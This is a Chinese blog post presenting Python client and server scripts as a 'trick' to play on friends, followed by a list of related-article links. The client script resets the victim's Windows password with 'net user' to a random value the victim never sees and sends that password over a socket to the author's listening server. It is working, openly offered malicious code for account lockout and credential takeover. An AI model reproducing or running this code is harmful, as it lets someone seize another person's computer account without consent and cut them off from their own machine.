一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
使用Python写个小监控
Jan 27 Python
Python代码解决RenderView窗口not found问题
Aug 28 Python
Python实现控制台中的进度条功能代码
Dec 22 Python
Python使用base64模块进行二进制数据编码详解
Jan 11 Python
python 字符串和整数的转换方法
Jun 25 Python
3分钟学会一个Python小技巧
Nov 23 Python
Python实现Mysql数据统计及numpy统计函数
Jul 15 Python
Python使用指定字符长度切分数据示例
Dec 05 Python
Python模块/包/库安装的六种方法及区别
Feb 24 Python
Python基于进程池实现多进程过程解析
Apr 30 Python
Python pandas如何向excel添加数据
May 22 Python
python实现暗通道去雾算法的示例
Sep 27 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
php self,$this,const,static,->的使用
2009/10/22 PHP
php制作动态随机验证码
2015/02/12 PHP
PHP文件上传之多文件上传的实现思路
2016/01/27 PHP
php英文单词统计器
2016/06/23 PHP
用php和jQuery来实现“顶”和“踩”的投票功能
2016/10/13 PHP
浅谈PHP表单提交(POST&GET&URL编/解码)
2017/04/03 PHP
JS获取当前网页大小以及屏幕分辨率等
2014/09/05 Javascript
使用Javascript简单实现图片无缝滚动
2014/12/05 Javascript
js实现对ajax请求面向对象的封装
2016/01/08 Javascript
Nodejs中 npm常用命令详解
2016/07/04 NodeJs
Vue2.0实现组件数据的双向绑定问题
2018/03/06 Javascript
解决Vue + Echarts 使用markLine标线(precision精度问题)
2020/07/20 Javascript
如何在Vue项目中添加接口监听遮罩
2021/01/25 Vue.js
详解React中共享组件逻辑的三种方式
2021/02/02 Javascript
Django中URLconf和include()的协同工作方法
2015/07/20 Python
Python统计文件中去重后uuid个数的方法
2015/07/30 Python
Python实现的单向循环链表功能示例
2017/11/10 Python
python打包压缩、读取指定目录下的指定类型文件
2018/04/12 Python
python numpy实现文件存取的示例代码
2019/05/26 Python
PyCharm中配置PySide2的图文教程
2020/06/18 Python
HTML5移动开发图片压缩上传功能
2016/11/09 HTML / CSS
英国精品买手店:Browns Fashion
2016/09/29 全球购物
德国家具在线:Fashion For Home
2017/03/11 全球购物
英国评分最高的女性剃须刀订阅盒:FFS Beauty
2018/01/25 全球购物
ShellScript面试题一则-ShellScript编程
2014/06/24 面试题
给排水专业应届生求职信
2013/10/12 职场文书
活动策划邀请函
2014/02/06 职场文书
优秀学生事迹材料
2014/02/08 职场文书
2014五一国际劳动节活动总结范文
2014/04/14 职场文书
2014年党的群众路线教育实践活动总结
2014/04/25 职场文书
关于倡议书的范文
2015/04/29 职场文书
工作失职自我检讨书
2015/05/05 职场文书
论语读书笔记
2015/06/26 职场文书
聊一聊python常用的编程模块
2021/05/14 Python
浅谈MySQL user权限表
2021/06/18 MySQL
Elasticsearch 配置详解
2022/04/19 Java/Android